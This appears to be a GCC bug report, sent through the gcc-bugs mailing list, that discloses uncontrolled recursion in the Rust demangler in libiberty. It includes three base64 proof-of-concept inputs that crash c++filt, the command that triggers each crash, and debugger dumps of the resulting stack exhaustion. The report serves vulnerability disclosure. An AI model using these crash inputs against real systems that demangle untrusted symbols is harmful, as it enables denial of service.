[Bug demangler/103841] New: Uncontrolled Recursion in libiberty/rust-demangle.c

wyxaidai at gmail dot com gcc-bugzilla@gcc.gnu.org
Mon Dec 27 07:41:40 GMT 2021


https://gcc.gnu.org/bugzilla/show_bug.cgi?id=103841

            Bug ID: 103841
           Summary: Uncontrolled Recursion in libiberty/rust-demangle.c
           Product: gcc
           Version: 12.0
            Status: UNCONFIRMED
          Severity: normal
          Priority: P3
         Component: demangler
          Assignee: unassigned at gcc dot gnu.org
          Reporter: wyxaidai at gmail dot com
  Target Milestone: ---

# Uncontrolled Recursion in libiberty/rust-demangle.c

## Description

An Uncontrolled Recursion was discovered in libiberty/rust-demangle.c. The
vulnerability could allow attackers to consume excessive resources such as CPU
or memory.

**version**

gcc: ad6091d1b891cc8aeda27850c4035f9b6163dcb0

binutils: d16ce6240e556133549f4f69927eb99b28978af2

**System information**
Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz

## Proof of Concept

**poc**

```
base64 poc
ZPGoqKioqKj6/ytu8rq7H9UdEJpfUkJfAKh//4ioqKioqKj//2EAAAAA//8AAAQFAG1Ycy8XABgAQgAS//9lP0BHcnJycotdJPMrXNNcfOJ6mgAAXCtmIEi3AAAQ
```

**command**

```
./c++filt < ./poc
```

**Result**

```
./c++filt < ./poc
[1]    881695 segmentation fault  ./c++filt < ./poc
```

**gdb**

```
Program received signal SIGSEGV, Segmentation fault.
0x000055555564082d in demangle_path (rdm=0x7fffffffe040,
in_value=in_value@entry=1) at ./rust-demangle.c:769
769           backref = parse_integer_62 (rdm);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────[ REGISTERS
]─────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x42
 RCX  0x2
 RDX  0x0
 RDI  0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f42 /* 'B_' */
 RSI  0x55555564082a (demangle_path+970) ◂— mov    rdi, rbp
 R8   0x555555696142 (mbuffer+2) ◂— 0x5f42 /* 'B_' */
 R9   0x555555666024 ◂— 0xfffda778fffda806
 R10  0x0
 R11  0x555555696140 (mbuffer) ◂— 0x5f42525f /* '_RB_' */
 R12  0x1
 R13  0x5555556662a0 (_sch_istable) ◂— 0x2000200020802
 R14  0x55555564246b ◂— 0x69727473002e245f /* '_$.' */
 R15  0x555555696140 (mbuffer) ◂— 0x5f42525f /* '_RB_' */
 RBP  0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f42 /* 'B_' */
 RSP  0x7fffff7ff000 ◂— 0x0
 RIP  0x55555564082d (demangle_path+973) ◂— call   0x55555563e360
──────────────────────────────────────────────────────[ DISASM
]──────────────────────────────────────────────────────
   0x55555564082a <demangle_path+970>     mov    rdi, rbp
 ► 0x55555564082d <demangle_path+973>     call   parse_integer_62              
 <parse_integer_62>
        rdi: 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f42 /* 'B_' */

   0x555555640832 <demangle_path+978>     mov    edx, dword ptr [rbp + 0x2c]
   0x555555640835 <demangle_path+981>     test   edx, edx
   0x555555640837 <demangle_path+983>     jne    demangle_path+64              
 <demangle_path+64>

   0x55555564083d <demangle_path+989>     mov    rbx, qword ptr [rbp + 0x20]
   0x555555640841 <demangle_path+993>     mov    qword ptr [rbp + 0x20], rax
   0x555555640845 <demangle_path+997>     mov    esi, r12d
   0x555555640848 <demangle_path+1000>    call   demangle_path               
<demangle_path>

   0x55555564084d <demangle_path+1005>    mov    qword ptr [rbp + 0x20], rbx
   0x555555640851 <demangle_path+1009>    jmp    demangle_path+64              
 <demangle_path+64>
──────────────────────────────────────────────────[ SOURCE (CODE)
]───────────────────────────────────────────────────
In file: /home/aidai/fuzzing/binutils/binutils-gdb/libiberty/rust-demangle.c
   764           demangle_generic_arg (rdm);
   765         }
   766       PRINT (">");
   767       break;
   768     case 'B':
 ► 769       backref = parse_integer_62 (rdm);
   770       if (!rdm->skipping_printing)
   771         {
   772           old_next = rdm->next;
   773           rdm->next = backref;
   774           demangle_path (rdm, in_value);
──────────────────────────────────────────────────────[ STACK
]───────────────────────────────────────────────────────
00:0000│ rsp 0x7fffff7ff000 ◂— 0x0
... ↓        6 skipped
07:0038│     0x7fffff7ff038 ◂— 0xb50269d9f4754500
────────────────────────────────────────────────────[ BACKTRACE
]─────────────────────────────────────────────────────
 ► f 0   0x55555564082d demangle_path+973
   f 1   0x55555564084d demangle_path+1005
   f 2   0x55555564084d demangle_path+1005
   f 3   0x55555564084d demangle_path+1005
   f 4   0x55555564084d demangle_path+1005
   f 5   0x55555564084d demangle_path+1005
   f 6   0x55555564084d demangle_path+1005
   f 7   0x55555564084d demangle_path+1005
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

**poc2**

```
base64 poc
aUlaDwAAEGQ6YwAcAP9hAABaAAAAAAB/X1JZQl+DYQIMAABBPVuAAAAAACA6Ui44/zo6Ojr/Ojo6
Ojo6TzD9YhBP8QAAABAkTwBAYv///eAjABAkEBBcXFwQEFxcXDw=
```

**command**

```
./c++filt < ./poc
```

**Result**

```
[1]    1731144 segmentation fault  ./c++filt < ./poc
```

**gdb**

```
Program received signal SIGSEGV, Segmentation fault.
demangle_type (rdm=0x7fffffffe040) at ./rust-demangle.c:866
866       basic = basic_type (tag);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────[ REGISTERS
]─────────────────────────────────────────────────────
 RAX  0x555555696142 (mbuffer+2) ◂— 0x5f4259 /* 'YB_' */
 RBX  0x555555665fd4 ◂— 0xfffd9f3ffffd9f68
 RCX  0x2
 RDX  0x1
 RDI  0x42
 RSI  0x3
 R8   0x555555665364 ◂— 0x3d2d00496d003c /* '<' */
 R9   0x555555666024 ◂— 0xfffda778fffda806
 R10  0x0
 R11  0x7ffff7fa5be0 (main_arena+96) —▸ 0x5555556b06c0 ◂— 0x0
 R12  0x0
 R13  0x42
 R14  0x0
 R15  0x555555696140 (mbuffer) ◂— 0x5f4259525f /* '_RYB_' */
 RBP  0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f4259 /* 'YB_' */
 RSP  0x7fffff7ff000 ◂— 0x0
 RIP  0x55555563fc9c (demangle_type+476) ◂— call   0x55555563e7c0
──────────────────────────────────────────────────────[ DISASM
]──────────────────────────────────────────────────────
 ► 0x55555563fc9c <demangle_type+476>    call   basic_type               
<basic_type>
        rdi: 0x42

   0x55555563fca1 <demangle_type+481>    mov    r12, rax
   0x55555563fca4 <demangle_type+484>    test   rax, rax
   0x55555563fca7 <demangle_type+487>    jne    demangle_type+408              
 <demangle_type+408>

   0x55555563fca9 <demangle_type+489>    lea    eax, [r13 - 0x41]
   0x55555563fcad <demangle_type+493>    cmp    al, 0x13
   0x55555563fcaf <demangle_type+495>    ja     demangle_type+96               
<demangle_type+96>

   0x55555563fcb5 <demangle_type+501>    movzx  eax, al
   0x55555563fcb8 <demangle_type+504>    movsxd rax, dword ptr [rbx + rax*4]
   0x55555563fcbc <demangle_type+508>    add    rax, rbx
   0x55555563fcbf <demangle_type+511>    jmp    rax
──────────────────────────────────────────────────[ SOURCE (CODE)
]───────────────────────────────────────────────────
In file: /home/aidai/fuzzing/binutils/binutils-gdb/libiberty/rust-demangle.c
   861   if (rdm->errored)
   862     return;
   863
   864   tag = next (rdm);
   865
 ► 866   basic = basic_type (tag);
   867   if (basic)
   868     {
   869       PRINT (basic);
   870       return;
   871     }
──────────────────────────────────────────────────────[ STACK
]───────────────────────────────────────────────────────
00:0000│ rsp 0x7fffff7ff000 ◂— 0x0
... ↓        4 skipped
05:0028│     0x7fffff7ff028 ◂— 0x1985771200307400
06:0030│     0x7fffff7ff030 ◂— 0x0
07:0038│     0x7fffff7ff038 ◂— 0x59 /* 'Y' */
────────────────────────────────────────────────────[ BACKTRACE
]─────────────────────────────────────────────────────
 ► f 0   0x55555563fc9c demangle_type+476
   f 1   0x555555640547 demangle_path+231
   f 2   0x55555563ff33 demangle_type+1139
   f 3   0x555555640547 demangle_path+231
   f 4   0x55555563ff33 demangle_type+1139
   f 5   0x555555640547 demangle_path+231
   f 6   0x55555563ff33 demangle_type+1139
   f 7   0x555555640547 demangle_path+231
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
```

**poc3**

```
base64 poc
aWYgeHMoEP//X1AgL61NPD1bZRAAAAA8srKysrKysrKysrKyXFxcYXRjbyBAbiD//yDPTCBHJiZv
b21vbxByZf9/X1JZREJfJmEAgAAAEABoaWEvaRAQXFxvXA==
```

**command**

```
./c++filt < ./poc
```

**Result**

```
./c++filt < ./poc
[1]    2031222 segmentation fault  ./c++filt < ./poc
```

**gdb**

```
Program received signal SIGSEGV, Segmentation fault.
0x000055555563f9b3 in demangle_path_maybe_open_generics
(rdm=rdm@entry=0x7fffffffe040) at ./rust-demangle.c:1075
1075        demangle_path (rdm, 0);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────[ REGISTERS
]─────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x4
 RCX  0x0
 RDX  0x59
 RDI  0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f424459 /* 'YDB_' */
 RSI  0x0
 R8   0x555555665ede ◂— 0x202b2000206e7964 /* 'dyn ' */
 R9   0x4
 R10  0x0
 R11  0x246
 R12  0x0
 R13  0x7fffff7ff040 ◂— 0x0
 R14  0x0
 R15  0x555555696140 (mbuffer) ◂— 0x5f424459525f /* '_RYDB_' */
 RBP  0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f424459 /* 'YDB_' */
 RSP  0x7fffff7ff000 ◂— 0x4
 RIP  0x55555563f9b3 (demangle_path_maybe_open_generics+35) ◂— call  
0x555555640460
──────────────────────────────────────────────────────[ DISASM
]──────────────────────────────────────────────────────
 ► 0x55555563f9b3 <demangle_path_maybe_open_generics+35>    call  
demangle_path                <demangle_path>
        rdi: 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f424459 /*
'YDB_' */
        rsi: 0x0

   0x55555563f9b8 <demangle_path_maybe_open_generics+40>    mov    eax, r12d
   0x55555563f9bb <demangle_path_maybe_open_generics+43>    pop    rbx
   0x55555563f9bc <demangle_path_maybe_open_generics+44>    pop    rbp
   0x55555563f9bd <demangle_path_maybe_open_generics+45>    pop    r12
   0x55555563f9bf <demangle_path_maybe_open_generics+47>    ret

   0x55555563f9c0 <demangle_path_maybe_open_generics+48>    mov    rdx, qword
ptr [rdi]
   0x55555563f9c3 <demangle_path_maybe_open_generics+51>    movzx  edx, byte
ptr [rdx + rax]
   0x55555563f9c7 <demangle_path_maybe_open_generics+55>    cmp    dl, 0x42
   0x55555563f9ca <demangle_path_maybe_open_generics+58>    je    
demangle_path_maybe_open_generics+208
  <demangle_path_maybe_open_generics+208>

   0x55555563f9d0 <demangle_path_maybe_open_generics+64>    cmp    dl, 0x49
──────────────────────────────────────────────────[ SOURCE (CODE)
]───────────────────────────────────────────────────
In file: /home/aidai/fuzzing/binutils/binutils-gdb/libiberty/rust-demangle.c
   1070             PRINT (", ");
   1071           demangle_generic_arg (rdm);
   1072         }
   1073     }
   1074   else
 ► 1075     demangle_path (rdm, 0);
   1076   return open;
   1077 }
   1078
   1079 static void
   1080 demangle_dyn_trait (struct rust_demangler *rdm)
──────────────────────────────────────────────────────[ STACK
]───────────────────────────────────────────────────────
00:0000│ rsp 0x7fffff7ff000 ◂— 0x4
01:0008│     0x7fffff7ff008 —▸ 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂—
0x5f424459 /* 'YDB_' */
02:0010│     0x7fffff7ff010 ◂— 0x0
03:0018│     0x7fffff7ff018 —▸ 0x55555563faad
(demangle_path_maybe_open_generics+285) ◂— mov    qword ptr [rbp + 0x20], rbx
04:0020│     0x7fffff7ff020 ◂— 0x0
05:0028│     0x7fffff7ff028 —▸ 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂—
0x5f424459 /* 'YDB_' */
06:0030│     0x7fffff7ff030 ◂— 0x0
07:0038│     0x7fffff7ff038 —▸ 0x55555563fb98 (demangle_type+216) ◂— mov   
rdx, qword ptr [rbp + 0x20]
────────────────────────────────────────────────────[ BACKTRACE
]─────────────────────────────────────────────────────
 ► f 0   0x55555563f9b3 demangle_path_maybe_open_generics+35
   f 1   0x55555563faad demangle_path_maybe_open_generics+285
   f 2   0x55555563fb98 demangle_type+216
   f 3   0x55555563fb98 demangle_type+216
   f 4   0x555555640547 demangle_path+231
   f 5   0x55555563f9b8 demangle_path_maybe_open_generics+40
   f 6   0x55555563faad demangle_path_maybe_open_generics+285
   f 7   0x55555563fb98 demangle_type+216
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```


More information about the Gcc-bugs mailing list